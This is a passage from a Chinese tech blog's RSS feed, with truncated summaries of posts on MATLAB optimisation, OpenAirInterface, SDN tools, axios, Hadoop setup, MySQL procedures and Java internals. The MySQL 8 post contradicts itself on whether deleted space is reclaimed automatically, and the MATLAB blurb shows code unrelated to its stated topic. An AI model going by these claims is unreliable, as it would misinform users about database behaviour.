      <description>✅作者简介：热爱科研的Matlab仿真开发者，修心和技术同步精进，&#xA;代码获取、论文复现及科研仿真合作可私信。 🍎个人主页：Matlab科研工作室&#xA;🍊个人信条：格物致知。&#xA;更多Matlab完整代码及仿真定制内容点击👇&#xA;智能优化算法 神经网络预测 雷达通信 无线传感器 电力系统&#xA;信号处理 图像处理 路径规划 元胞自动机 无人机&#xA;🔥 内容介绍 灰狼算法是一种基于群体智能的优化算法，它模拟了灰狼群体的捕食行为，通过模拟狼群的社会结构和行为特点来进行优化搜索。在实际应用中，灰狼算法已经被证明在解决单目标优化问题方面具有很好的效果。&#xA;在灰狼算法的基础上，研究人员提出了一种新的算法——混沌灰狼搜索算法（MSGWO），它通过引入混沌序列来增加搜索的多样性，从而提高了算法的全局搜索能力。同时，MSGWO算法还融合了多种策略，使得算法更加灵活和高效。&#xA;本文将重点介绍基于融合多策略的混沌灰狼搜索算法在求解单目标优化问题cec2005函数测试原理方面的应用。cec2005函数集是一个常用的测试函数集合，用于评估优化算法的性能。我们将以cec2005函数测试原理为基础，探讨MSGWO算法在解决这些函数测试中的优化效果。&#xA;首先，我们需要了解cec2005函数测试原理。cec2005函数测试是一种常用的测试方法，它包含了一系列的标准测试函数，用于评估优化算法在处理不同类型问题时的性能表现。这些测试函数涵盖了单峰函数、多峰函数、旋转函数等不同类型的函数，可以全面地评估优化算法的搜索能力和收敛速度。&#xA;接下来，我们将介绍混沌灰狼搜索算法MSGWO在应用cec2005函数测试原理时的优化过程。MSGWO算法通过融合多种策略和引入混沌序列，能够在搜索过程中快速收敛到全局最优解，并具有较强的鲁棒性和稳定性。我们将以具体的算法流程和优化实例来展示MSGWO算法在cec2005函数测试中的优化效果，从而验证其在单目标优化问题中的实用性和有效性。&#xA;最后，我们将对MSGWO算法在应用cec2005函数测试原理中的优化效果进行总结和分析。通过对比实验结果和分析算法性能，我们可以得出结论：基于融合多策略的混沌灰狼搜索算法在解决单目标优化问题cec2005函数测试中具有较好的优化效果和实用性，能够有效地应用于实际工程和科研领域。&#xA;总之，基于融合多策略的混沌灰狼搜索算法MSGWO在求解单目标优化问题cec2005函数测试原理方面具有较好的应用前景和研究价值。随着优化算法领域的不断发展和深入研究，MSGWO算法将会在实际应用中发挥越来越重要的作用，为解决实际问题提供更加有效的优化方案。&#xA;📣 部分代码 %% 清空环境变量warning off % 关闭报警信息close all % 关闭开启的图窗clear % 清空变量clc % 清空命令行​%% 导入数据res = xlsread(&#39;数据集.xlsx&#39;);​%% 划分训练集和测试集temp = randperm(357);​P_train = res(temp(1: 240), 1: 12)&#39;;T_train = res(temp(1: 240), 13)&#39;;M = size(P_train, 2);​P_test = res(temp(241: end), 1: 12)&#39;;T_test = res(temp(241: end), 13)&#39;;N = size(P_test, 2);​%% 数据归一化[p_train, ps_input] = mapminmax(P_train, 0, 1);p_test = mapminmax(&#39;apply&#39;, P_test, ps_input);t_train = ind2vec(T_train);t_test = ind2vec(T_test ); ⛳️ 运行结果 🔗 参考文献 本程序参考以下中文EI期刊，程序注释清晰，干货满满。</description>
    </item>
    <item>
      <title>[OpenAirInterface-01]什么是OAI？OAI在github中源代码的存放结构</title>
      <link>https://bchobby.github.io/posts/e6d79960ab14b01f78c5aaaf107bc0b2/</link>
      <pubDate>Wed, 22 Nov 2023 12:25:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6d79960ab14b01f78c5aaaf107bc0b2/</guid>
      <description>文章目录 前言：什么是软件无线电SDR第1章 什么是OAI（OpenAirInterface）1.1 来自官网的概述1.2 来自github的概述1.3 来自我的解读 第2章 什么是OSA2.1 OSA概述：2.2 OSA联盟职责2.3 OpenAirInterface github成员的角色 第3章 常见的其他问题3.1 OAI包括哪几部分3.2 OAI 支持哪些无线技术和无线系统？（1）LTE（2）5G 3.3 支持哪些射频硬件平台？3.4 谁可以使用OAI？3.5 谁在建设OAI？3.6 OpenAirInterface与ETTUS N210 RF一起工作吗？3.7 运行OAI需要考虑哪些射频因素？3.8 CPU要求是什么？3.9 平台软件需求是什么？3.10 UE的要求是什么？3.11 有教程吗？3.12 我如何贡献/报告错误？3.13 有持续集成框架吗？3.14：是否需要在手机上启用任何特定设置？3.15 使用什么配置文件作为起点？3.16：可以为任何波段使用上述配置文件吗？3.17：有时手机不想连接到OAI。有什么问题 第4章 OAI在github中源代码的存放结构4G/5G RAN目标系统的架构LTE数据处理、仿真流程协议栈说明build目标代码nfapi openair1 PHY与openair2 MAC接口openair1 (L1: PHY+RF）openair2 （L2 + L3)openair3 前言：什么是软件无线电SDR 软件定义的无线电(Software Defined Radio，SDR) 是一种无线电广播通信技术，它基于软件定义的无线通信协议而非通过硬连线实现。&#xA;频带、空中接口协议和功能可通过软件下载和更新来升级，而不用完全更换硬件。&#xA;OpenAirInterface是软件无线电SDR的一种实现。&#xA;第1章 什么是OAI（OpenAirInterface） 1.1 来自官网的概述 OpenAirInterface是一种开放软件，汇集了来自世界各地的开发人员，他们共同构建无线蜂窝接入网络（RAN）和核心网络（CN）技术.&#xA;1.2 来自github的概述 OAI是一个开源的硬件和软件无线技术平台（模拟、仿真和实时），用于部署具有高度真实感的模拟无线蜂窝网络。&#xA;OAI github源代码：oai / openairinterface5G · GitLab&#xA;1.3 来自我的解读 OpenAirInterface不仅仅包括无线空口, 还包括整个无线接入网RAN，也包括核心网Core。&#xA;OpenAirInterface不仅仅包括4G LTE, 还包括5G，也包括未来的6G</description>
    </item>
    <item>
      <title>Intellij IDEA sbt 依赖分析插件</title>
      <link>https://bchobby.github.io/posts/82370459158167e312052cc7825db0f1/</link>
      <pubDate>Wed, 22 Nov 2023 11:15:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82370459158167e312052cc7825db0f1/</guid>
      <description>可分析模块和传递依赖，还能显示JAR包大小&#xA;安装完插件后，由于IDEA BUG，会出现两个分析按钮，一个是gradle的，后者是新安装的sbt。&#xA;选择需要分析的模块&#xA;下载地址 https://plugins.jetbrains.com/plugin/22427-sbt-dependency-analyzer&#xA;支持Intellij IDEA 2023.1及以上&#xA;文档地址：https://github.com/bitlap/intellij-sbt-dependency-analyzer/blob/master/README-CN.md</description>
    </item>
    <item>
      <title>SDN软件定义网络</title>
      <link>https://bchobby.github.io/posts/3f8596ad094734b3ae12de62d2ada59c/</link>
      <pubDate>Wed, 22 Nov 2023 10:48:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f8596ad094734b3ae12de62d2ada59c/</guid>
      <description>目录&#xA;SDN理解&#xA;网络测试命令&#xA;高级命令（netperf，iperf，postmen）netperf：&#xA;iperf:&#xA;tcpdump：&#xA;开源软件和协议OVS&#xA;什么是OVS&#xA;源码安装&#xA;常用命令&#xA;实现VLAN隔离和互通&#xA;mininet&#xA;mininet是什么&#xA;mn命令的用法，&#xA;修改host的ip，&#xA;测试联通&#xA;利用Python创建主机，交换机，连线&#xA;OpenDayLight&#xA;是什么:&#xA;源码安装部署&#xA;modular按照顺序部署&#xA;下发流表，1.0和1.3版本有什么区别&#xA;厂商SDN：VxLAN，EVPN&#xA;VxLAN：&#xA;静态隧道，&#xA;集中网关：&#xA;EVPN&#xA;BGP基本配置：&#xA;建立EBGP&#xA;IBGP邻居，&#xA;单选20，判断10：SDN基础常识&#xA;问答20：对SDN一些理解，开放题型，常识问题&#xA;实验50：vxlan，bgp程序命令填空，&#xA;ovs，minninet安装部署流程&#xA;SDN理解 即软件定义网络，通过网络设备控制面与数据面分离&#xA;实现网络流量的灵活控制，api接口——网络可编程化&#xA;网络测试命令 Wirshark抓包工具的使用Expression过滤器，正则表达式&#xA;高级命令（netperf，iperf，postmen）&#xA;netperf： 网络性能测量工具，主要TCP或UDP传输&#xA;netserver -p 9999&#xA;netperf -H ip -p 9999 -- -m 1024&#xA;netperf -t UDP_STREAM -H ip -p 9999 -- -m 1024&#xA;与iperf相比netperf可以指定具体协议，但是iperf显示的信息更为具体&#xA;iperf: 网络性能测试工具，可以测试TCP和UDP带宽质量。&#xA;也可以通过UDP测试报告网丢包率或者发包性能&#xA;iperf -s服务器</description>
    </item>
    <item>
      <title>axios封装使用</title>
      <link>https://bchobby.github.io/posts/bb24201960f9421ef8cf885d322d8d7a/</link>
      <pubDate>Wed, 22 Nov 2023 10:05:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb24201960f9421ef8cf885d322d8d7a/</guid>
      <description>🌼未封装 在项目中往往一个页面存在着要联调好几个接口，此时用下面的写法就会显得代码很冗余&#xA;// 向给定ID的用户发起请求 axios.get(&#39;/user?ID=123456&#39;,{ params: { //发送请求的数据 ID: 123456 } }) .then(function (response) { // 处理成功情况 console.log(response); }) .catch(function (error) { // 处理错误情况 console.log(error); }) .finally(function () { // 总是会执行 }); // 支持async/await用法 async function getUser() { try { const response = await axios.get(&#39;/user?ID=123456&#39;); console.log(response); } catch (error) { console.error(error); } } 🌼封装一下 errorCode.js&#xA;export default { &#39;401&#39;: &#39;认证失败，无法访问系统资源&#39;, &#39;403&#39;: &#39;当前操作没有权限&#39;, &#39;404&#39;: &#39;访问资源不存在&#39;, &#39;default&#39;: &#39;系统未知错误，请反馈给管理员&#39; } request.js&#xA;一般会在utils文件夹下创建request.js文件。封装的好处：统一处理请求和响应、简化API调用、提高代码的可维护性。</description>
    </item>
    <item>
      <title>斯坦福发布 最新 GPT 模型排行榜 AlpacaEval【AI工具免费使用】</title>
      <link>https://bchobby.github.io/posts/5d4054776c720db13bd3d4ec5716e40d/</link>
      <pubDate>Wed, 22 Nov 2023 10:01:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d4054776c720db13bd3d4ec5716e40d/</guid>
      <description>文章目录 📌提炼❓什么是 AlpacaEval🔎AlpacaEval 排行榜 包含的 测试 模型 和数据💯在不同的测试集上各个大模型的能力评分🚀AlpacaEval Leaderboard 大模型的能力综合评分💼 普遍国内白领 如何快速应用 大模型👑 TomChat（https://www.tomchat.fun）🤖 支持gpt4 / gpt-3.5 / claude /code-llm🎨 支持 AI绘画🆓 每天十次免费使用机会🪄 无需魔法 📌提炼 GPT-4 登顶商用模型微软 WizardLM 登顶开源模型 ❓什么是 AlpacaEval AlpacaEva 是来自斯坦福的团队发布的一款 大语言模型 自动评测系统，它是一种基于 LLM 的全自动评估基准，且更加快速、廉价和可靠。同时包含了应的 AlpacaEval Leaderboard（大语言模型排行榜）。AlpacaEval 是一个模拟沙盒，能够快速、廉价地对从人类反馈中学习的方法进行实验。它用API LLMs模拟人类反馈，提供一个经过验证的评估协议，并提供一套参考方法的实现。虽然仅基于 GPT-4 进行自动评估，但与基于 1.8 万条真实人类标注排序结果之间高达 0.94 的皮尔逊相关系数，证明了 AlpacaEval 榜单 排名的高可靠性。 🔎AlpacaEval 排行榜 包含的 测试 模型 和数据 选择了目前在 商用领域 和 开源社区 很火 的模型 ，包括但不限于以下模型&#xA;GPT-4 (open ai)Claude (anthropic)PaLM 2 (google)WizardLM (microsoft) 甚至还开设了一个 「准中文」 排行榜</description>
    </item>
    <item>
      <title>LATEX页眉的横线不够长\一边长一边短</title>
      <link>https://bchobby.github.io/posts/3cd8062941797da4b5a9ea2d2c6ca240/</link>
      <pubDate>Wed, 22 Nov 2023 10:00:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cd8062941797da4b5a9ea2d2c6ca240/</guid>
      <description> 如图所示，是我编码的过程中遇到的排版瑕疵问题 原因：是因为我的纸张大小设置放在了页眉设置的后面，应该是程序编译的过程中没发使页眉去匹配纸张大小&#xA;调整后： </description>
    </item>
    <item>
      <title>Hadoop完全分布集群搭建及高可用搭建</title>
      <link>https://bchobby.github.io/posts/d7da73a1a6915483bbb412957fd72185/</link>
      <pubDate>Wed, 22 Nov 2023 09:31:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7da73a1a6915483bbb412957fd72185/</guid>
      <description>文章目录 一、Hadoop完全分布式搭建（Centos 7系统）1、关闭防火墙2、设置主机名3、配置主机名映射hosts文件3、设置静态IP4、配置jdk环境变量5、配置SSH免密登录6、配置Hadoop环境变量7、修改Hadoop配置文件8、分发文件9、格式化namenode10、启动集群并测试 二、Hadoop安装zookeeper（Centos 7系统）1、安装zookeeper2、配置环境变量3、更改文件名字zoo.cfg4、修改zoo.cfg配置文件6、分发zookeeper7、zookeeper基本命令 三、Hadoop高可用搭建(Centos 7系统)1、修改配置文件2、分发文件3、第一次启动顺序3、其次启动顺序4、查看节点个数 一、Hadoop完全分布式搭建（Centos 7系统） 1、关闭防火墙 systemctl stop firewalld #关闭防火墙 systemctl start firewalld #开启防火墙 systemctl disable firewalld #设置开机禁用防火墙 systemctl enable firewalld #设置开机启用防火墙 systemctl status firewalld #查看防火墙状态 2、设置主机名 hostnamectl set-hostname master &amp;amp;&amp;amp; bash #设置主机名为master，立即生效. hostnamectl set-hostname worker1 &amp;amp;&amp;amp; bash #设置主机名为worker1，立即生效. hostnamectl set-hostname worker2 &amp;amp;&amp;amp; bash #设置主机名为worker2，立即生效. 3、配置主机名映射hosts文件 vim /etc/hosts #进入hosts文件 192.168.10.100 master #IP地址 主机名 192.168.10.101 worker1 #IP地址 主机名 192.168.10.102 worker2 #IP地址 主机名 3、设置静态IP vim /etc/sysconfig/network-scripts/ifcfg-ens33 #进入配置IP文件 TYPE=&#34;</description>
    </item>
    <item>
      <title>mysql 存储过程 存储函数 游标 事件 视图</title>
      <link>https://bchobby.github.io/posts/6ffe7ae200a85a4421977740d0a49f5d/</link>
      <pubDate>Wed, 22 Nov 2023 09:15:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ffe7ae200a85a4421977740d0a49f5d/</guid>
      <description>mysqldump 备份还原表 1.导出所有(包括结构&amp;amp;数据&amp;amp;存储过程&amp;amp;函数&amp;amp;事件&amp;amp;触发器)(不写-R -E默认仅导出结构和数据) -- 注意这里不要加分号(密码随后输入即可) mysqldump -h192.168.2.252 -uroot -p -R -E ipvacloud &amp;gt; d:2.sql 2.导入数据库 mysql&amp;gt;use voice; mysql&amp;gt;source d:xxx.sql; 再次出现mysql&amp;gt;并且没有提示错误即还原成功 这里为什么要用mysqldump呢? 因为速度快啊,数据库5个G用它比直接用navicat导出sql文件快100倍, 原来，mysqldump默认导出的就有table和view，而且view还是作为temp table导出来的，而且在导出来的sql文件里面，你看不到create view这样类似的字眼。但是，你执行source 2.sql命令时，会在视图里找到aaa这个视图&#xA;1.存储过程 CREATE DEFINER=`root`@`%` PROCEDURE `test_procedure`(IN `age` int,OUT `result_out` int) BEGIN DECLARE user_name VARCHAR (64) -- 声明变量，但不使用 #Routine body goes here... SELECT * FROM employee; -- 返回结果集 SET result_out=age *2; -- out结果 END 点击运行按钮，只要输入输入参数就可以啦&#xA;--navicat中使用call来调用 存储过程 1个输入参数， 1个输出参数 CALL test_procedure(6, @a); 2.存储函数（必须要有返回值，且入参只有IN, 没有OUT） CREATE DEFINER=`root`@`%` FUNCTION `test_function`(`age` int) RETURNS int(11) -- 表示返回值的类型 BEGIN RETURN age * 2; END navicat中使用如下语句，调用存储函数</description>
    </item>
    <item>
      <title>Java并发编程第12讲——cancelAcquire()流程详解及acquire方法总结</title>
      <link>https://bchobby.github.io/posts/1a52e4075e7ed6fa1959f1f289943302/</link>
      <pubDate>Wed, 22 Nov 2023 08:59:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a52e4075e7ed6fa1959f1f289943302/</guid>
      <description>上篇文章介绍了AQS的设计思想以及独占式获取和释放同步状态的源码分析，但是还不够，一是感觉有点零零散散，二是里面还有很多细节没介绍到——比如cancelAcquire()方法（重点），迫于篇幅原因，今天就把它放到这篇文章里，继续深入AQS！&#xA;一、acquire方法 源码的分析在上一篇文章，感兴趣的同学可以去看一下，我的建议是两篇文章一起看。&#xA;1.1 几个状态（重点） ps：waitStatus&amp;gt;0说明等待状态时CANCELLED，waitStatus&amp;lt;0为其它状态。&#xA;//表示线程已取消：由于在同步队列中等待的线程等待超时或中断 //需要从同步队列中取消等待，节点进入该状态将不会变化（即要移除/跳过的节点） static final int CANCELLED = 1; //表示后继节点处于park，需要唤醒：后继节点的线程处于park，而当前节点 //的线程如果进行释放或者被取消，将会通知（signal）后继节点。 static final int SIGNAL = -1; //表示线程正在等待状态：即节点在等待队列中，节点线程在Condition上， //当其他线程对Condition调用signal方法后，该节点会从条件队列中转移到同步队列中 static final int CONDITION = -2; //表示下一次共享模式同步状态会无条件地传播下去 static final int PROPAGATE = -3; //节点的等待状态，即上面的CANCELLED/SIGNAL/CONDITION/PROPAGATE，初始值为0 volatile int waitStatus; 1.2 acquire()流程图及分析 基本流程描述：&#xA;调用子类重写的tryAcquire方法尝试获取同步状态，若成功则返回，反之进入addWaiter方法。基于当前线程新建一个Node节点，若队列不为空则将Node节点CAS操作挂在队列尾部，队列为空或CAS失败进入enq方法。查看队列是否已经初始化，若没有则优先初始化队列（自旋），随后将Node节点以CAS的方式插入队列，CAS失败则继续自旋，反之进入acquireQueued方法。若Node的前驱节点为头节点，且再次tryAcquire()成功，则将Node设置为头节点，并结束自旋。若两个条件任意一个失败则进入shuoldParkAfterFailedAcquire方法。若Node的前驱节点等待状态为SIGNAL，则调用parkAndCheckInterrupt方法将当前线程阻塞，若当前线程的中断状态为ture则将acquireQueued的返回值置为true，并继续自旋；反之则判断Node的前驱节点的等待状态是否为CANCELLED，若不是则CAS尝试将Node的前驱节点等待状态改为SIGNAL，并继续自旋；若是则说明这个前驱节点无效，直接跳过该节点并找一个非CANCELLED节点作为Node的前驱节点，并结束自旋（acquireQueued方法结束）。若acquireQueued方法返回ture则说明当前线程需要被中断（也就是Node节点的前面还有节点在排队，还没轮到Node节点）。若在acquireQueued方法中出现异常，则会调用cancelAcquire方法进行该节点的取消逻辑，这也是我们今天的重点，下面会具体分析。 二、cancelAcquire方法 上篇文章在分析它的源码时就感觉有点懵懵的，很多地方都不太理解（那面试的时候怎么跟面试官battle啊😁），那么今天就深入的分析一下。&#xA;2.1 源码 再次附上源码，方便观看。&#xA;在acquireQueued方法中出现异常会走cancelAcquire方法取消正在进行acquire的尝试，以防止死锁或长时间的等待。这里我把它分为两个红框，下面图解流程时会用到。&#xA;2.2 流程图 解释一下颜色代表的意思：&#xA;紫色——方法开始和结束。橙色——断开与取消结点联系的执行逻辑。黄色——node结点为tail结点执行的逻辑。蓝色——node结点不为tail结点执行的逻辑（为head结点的后继结点或中间结点）。其它——一般逻辑。 2.3 Node为尾节点 初始状态：即N1为Node节点&#xA;执行第一个红框： 将Node结点Thread置空。Node节点的前驱结点N2的等待状态为CANCELLED，所以断开N1到N2的联系，并与N3建立联系。将pred指向N3结点，predNext指向N2（这里不是node节点）并把Node结点的等待状态置为CANCELLED。 执行第二个红框：&#xA;将pred设置为tail节点。断开N3到N2结点的联系。最后N1和N2节点会被GC回收。 2.4 node为中间节点 2.4.1 N3节点取消流程 初始状态：Node节点为中间节点，既不是tail节点，也不是head节点的后继节点。&#xA;执行第一个红框：&#xA;将node的Thread置为null。pred指向N4，preNext指向N3，也就是node节点。将node的等待状态置为CANCELLED。 执行第二个红框：</description>
    </item>
    <item>
      <title>mysql8 表空间回收是自动管理的 到达阈值释放回收磁盘空间</title>
      <link>https://bchobby.github.io/posts/0e809b1049332c9f01f33f365aea8f5b/</link>
      <pubDate>Wed, 22 Nov 2023 08:54:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e809b1049332c9f01f33f365aea8f5b/</guid>
      <description>表空间&#xA;InnoDB其实是使用页为基本单位来管理存储空间的，默认的页的大小为 16KB。对于InnoDB存储引擎来讲，每个索引都对应着一棵B+树，该B+树的每个节点都是一个数据页，数据页之间不必要是物理连续的，因为数据页之间有双向链表来维护着这些页的顺序。&#xA;InnoDB的聚簇索引(也就是主键索引文件)的叶子节点存储了完整的用户记录。&#xA;为了更好的管理这些页，InnoDB提出了一个表空间或者文件空间(table space or file space)的概念。这个表空间是一个抽象的概念，它可以对应文件系统上一个或多个真实文件(不同表空间对应的文件数量可能不同)。每一个表空间可以被划分为很多个页，我们的表数据就存放在某个表空间下的某些页里&#xA;在MySQL 8中，表空间回收是自动管理的，不需要手动干预。当表中的数据被删除时，表空间会自动释放被使用的空间。&#xA;在MySQL 8中，表空间回收不再由数据库管理员手动管理，而是由MySQL自动管理。从MySQL 8开始，InnoDB存储引擎引入了一个新的特性，称为&#34;自动表空间碎片整理&#34;。&#xA;在之前的MySQL版本中，当删除或更新表中的数据时，可能会导致表空间的碎片产生。这些碎片会占用额外的磁盘空间，并且需要进行手动整理以回收这些空间。然而，在MySQL 8中，InnoDB引擎会自动检测和整理这些表空间的碎片，无需手动干预。&#xA;当表空间的碎片达到一定数量时，InnoDB引擎会自动进行整理操作。这个过程是透明的，对数据库的日常操作没有影响。你只需要确保你有足够的磁盘空间来存储整理过程中产生的临时文件。&#xA;需要注意的是，虽然MySQL 8会自动管理表空间的回收，但你仍然可以手动执行表空间的维护和优化操作。例如，你可以使用ALTER TABLE语句进行表的重组织或重建，或者使用OPTIMIZE TABLE语句进行表空间的优化。这些操作可以帮助你更好地管理数据库的性能和空间使用。&#xA;MySQL8.0自带工具ibd2sdi解析ibd文件 MySQL8.0自带工具ibd2sdi解析ibd文件_ibd文件怎么打开_HumoChen99的博客-CSDN博客&#xA;MySQL5.6中默认是独立表空间Tablespace(表空间管理类型就这2种)&#xA;独立表空间 就是采用和MyISAM 相同的方式, 每个表拥有一个独立的数据文件( .idb )&#xA;InnoDB引擎 frm ibd文件说明：&#xA;1.frm ：描述表结构文件，字段长度等&#xA;2.ibd文件 是表数据文件&#xA;mysql5.6既有D:\java\mysql5.6\data\ipvacloudreport_site_day.frm 又有 D:\java\mysql5.6\data\ipvacloud\report_site_day.ibd文件&#xA;一，小结&#xA;结合mysql官方网站的信息，个人是这样理解的。当你删除数据时，mysql并不会回收，被已删除数据的占据的存储空间，以及索引位。而是空在那里，而是等待新的数据来弥补这个空缺，这样就有一个缺少，如果一时半会，没有数据来填补这个空缺，那这样就太浪费资源了。所以对于写比较频烦的表，要定期进行optimize，一个月一次，看实际情况而定了。&#xA;举个例子来说吧。有100个php程序员辞职了，但是呢只是人走了，php的职位还在那里，这些职位不会撤销，要等新的php程序来填补这些空位。招一个好的程序员，比较难。我想大部分时间会空在那里。哈哈。&#xA;当我们使用mysql进行delete数据，delete完以后，发现空间文件ibd并没有减少，这是因为碎片空间的存在，举个例子，一共公司有10号员工，10个座位，被开除了7个员工，但这些座位还是保留的，碎片整理就像，让剩下的3个员工都靠边坐，然后把剩下的7个作为给砸掉，这样就能释放出空间了&#xA;好处除了减少表数据与表索引的物理空间，还能降低访问表时的IO，这个比较理解，整理之前，取数据需要跨越很多碎片空间，这时需要时间的，整理后，想要的数据都放在一起了，直接拿就拿到了，效率提高&#xA;-- 清除碎片操作会暂时锁表，数据量越大，耗费的时间越长 可以做个脚本，例如每月凌晨3点，检查DATA_FREE字段，&#xA;-- 大于自己认为的警戒值(碎片空间占数据和数据索引空间之和的百分比&amp;gt;0.30)的话，就清理一次&#xA;/*&#xA;清理mysql下实例下表碎片(当碎片字节空间占 数据字节与索引字节空间 之和大于0.30时, 这些表的碎片都需要清理,使用游标遍历清理) 定时任务事件 每月凌晨4点调用此清理表碎片的任务&#xA;table_schema是数据库名 OPTIMIZE TABLE ipvacloud.article;&#xA;*/&#xA;DROP PROCEDURE IF EXISTS `optimize_table`; DELIMITER ;; CREATE PROCEDURE `optimize_table`() BEGIN DECLARE tableSchema VARCHAR(100); DECLARE tableName VARCHAR(100); DECLARE stopFlag INT DEFAULT 0; -- 大于30%碎片率的清理 DECLARE rs CURSOR FOR SELECT table_schema,table_name FROM information_schema.</description>
    </item>
    <item>
      <title>为什么 ClassLoader 类的 getResource(String name) 方法能够读取到原本在 src/main/resources 里面的文件？</title>
      <link>https://bchobby.github.io/posts/ab41bff5cd885c58e97c8140a7fe955f/</link>
      <pubDate>Tue, 21 Nov 2023 22:35:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab41bff5cd885c58e97c8140a7fe955f/</guid>
      <description>为什么 ClassLoader 类的 getResource(String name) 方法能够读取到原本在 src/main/resources 里面的文件？ 文章目录 为什么 ClassLoader 类的 getResource(String name) 方法能够读取到原本在 src/main/resources 里面的文件？1、类路径和资源文件2、ClassLoader 的层次结构3、getResource 方法的工作原理4、使用 `ClassLoader` 类图示5、仅使用 `FileInputStream` （不推荐，也不合理） 在 Java 开发中，ClassLoader 类是一个关键的组件，用于加载类和资源。其中，getResource(String name) 方法允许我们在类路径中查找指定名称的资源文件。一个常见的疑问是：为什么这个方法能够轻松地读取到Maven项目中src/main/resources目录下的文件呢？&#xA;1、类路径和资源文件 在Maven项目中，源代码通常存放在src/main/java目录下，而资源文件则存放在src/main/resources目录下。这样的组织结构是为了在构建过程中能够清晰地分离代码和资源。&#xA;在编译时，Maven将src/main/resources目录下的文件复制到类路径中，通常是target/classes目录。这意味着编译后，资源文件就变成了类路径的一部分。&#xA;2、ClassLoader 的层次结构 ClassLoader 类的设计支持层次结构，其中每个类加载器都有一个父类加载器。当类加载器需要加载类或资源时，它首先会尝试从父加载器中查找，然后再从自身的类路径中查找。&#xA;这机制为ClassLoader提供了一种委托机制，确保资源的查找是层次化的，逐级向上寻找，直至找到为止。&#xA;3、getResource 方法的工作原理 ClassLoader 的 getResource(String name) 方法实际上是利用了这一层次结构的委托机制。它首先尝试调用父加载器的 getResource 方法，如果父加载器找不到资源，再从自己的类路径中查找。这保证了在整个类加载器层次结构中，资源文件可以被有效地定位。&#xA;因此，当我们使用ClassLoader的 getResource 方法时，它会顺着类加载器的层次结构，最终在编译后的类路径中找到src/main/resources目录下的文件。&#xA;4、使用 ClassLoader 类图示 5、仅使用 FileInputStream （不推荐，也不合理） 该路径是相对路径，并且是相对于项目的根目录的。&#xA;这么写是不合理的！</description>
    </item>
    <item>
      <title>MyBatis Plus分页查询部分字段</title>
      <link>https://bchobby.github.io/posts/d812c6ba40d4f972ed47223228d9e016/</link>
      <pubDate>Tue, 21 Nov 2023 22:06:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d812c6ba40d4f972ed47223228d9e016/</guid>
      <description>QueryWrapper 查询指定某字段以外的数据&#xA;QueryWrapper&amp;lt;AssociationMember&amp;gt; queryWrapper = new QueryWrapper&amp;lt;&amp;gt;(); //查询指定某字段以外的数据 queryWrapper.select(AssociationMember.class, info -&amp;gt;!info.getColumn().equals(&#34;photo&#34;)); IPage&amp;lt;AssociationMember&amp;gt; page = new Page&amp;lt;&amp;gt;(); page.setCurrent(getWorkerMemberInfoReqVo.getCurrentPage()); page.setSize(getWorkerMemberInfoReqVo.getPageSize()); IPage&amp;lt;AssociationMember&amp;gt; iPage=associationMemberMapper.selectPage(page,queryWrapper); 查询指定字段的数据&#xA;QueryWrapper&amp;lt;Member&amp;gt; queryWrapper = new QueryWrapper&amp;lt;&amp;gt;(); //查询指定字段的数据 queryWrapper.select(&#34;id&#34;,&#34;name&#34;).lambda().eq(StringUtils.isNotBlank(pageQueryMemberListReqVO.getOrgCoding()),Member::getOrgCoding,pageQueryMemberListReqVO.getOrgCoding()); List&amp;lt;Member&amp;gt; list=memberMapper.selectList(queryWrapper); lambdaQuery 单个字段查询&#xA;myService.list(Wrappers.&amp;lt;Demo&amp;gt;lambdaQuery().select(Demo::getId)); 多个字段查询&#xA;myService.list(Wrappers.&amp;lt;Demo&amp;gt;lambdaQuery().select(Demo::getId, Demo::getAge)); 单个字段排除&#xA;// 对应实体类字段 myService.list(Wrappers.&amp;lt;Demo&amp;gt;lambdaQuery().select(Demo.class, i -&amp;gt; !&#34;rName&#34;.equals(i.getProperty()))); // 对应数据库字段 myService.list(Wrappers.&amp;lt;Demo&amp;gt;lambdaQuery().select(Demo.class, i -&amp;gt; !&#34;r_name&#34;.equals(i.getColumn()))); 多个字段排除&#xA;// 对应实体类字段 myService.list(Wrappers.&amp;lt;Demo&amp;gt;lambdaQuery().select(Demo.class, i -&amp;gt; !&#34;rName&#34;.equals(i.getProperty()) &amp;amp;&amp;amp; !&#34;age&#34;.equals(i.getProperty()))); // 对应数据库字段 myService.list(Wrappers.&amp;lt;Demo&amp;gt;lambdaQuery().select(Demo.class, i -&amp;gt; !&#34;r_name&#34;.equals(i.getColumn()) &amp;amp;&amp;amp; !&#34;age&#34;.equals(i.getColumn()))); 实体类使用注解排除&#xA;/** * 不返回字段的值，但单独查询该字段就可以返回值 * myService.</description>
    </item>
    <item>
      <title>Java 类之 java.lang.reflect.Field</title>
      <link>https://bchobby.github.io/posts/1bc8aa19b6c053438ec9b4111599ab08/</link>
      <pubDate>Tue, 21 Nov 2023 18:58:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bc8aa19b6c053438ec9b4111599ab08/</guid>
      <description>Java 类之 java.lang.reflect.Field 文章目录 Java 类之 java.lang.reflect.Field一、概述1、java.lang.Class 类获取字段的方法获取全部公有字段（含继承的，不含私有的）获取本类的所有字段（不含继承的，含私有的）代码示例 2、java.lang.reflect.Field 类简介3、类定义信息 二、基本功能1、基本功能2、代码示例 三、扩展1、关于注解的方法2、`getAnnotations()` 与 `getDeclaredAnnotations()` 的区别`getAnnotation` 方法`getDeclaredAnnotation` 方法 3、其他注意点 一、概述 1、java.lang.Class 类获取字段的方法 获取全部公有字段（含继承的，不含私有的） getField(String name)： 获取该类及其父类指定名称的公有字段。如果字段不存在，则抛出 NoSuchFieldException 异常。 getFields()： 获取该类及其父类中所有公有字段的数组。返回一个 Field 对象数组。 获取本类的所有字段（不含继承的，含私有的） getDeclaredField(String name)： 获取该类中指定名称的任意访问权限的字段，包括私有字段。如果字段不存在，则抛出 NoSuchFieldException 异常。 getDeclaredFields()： 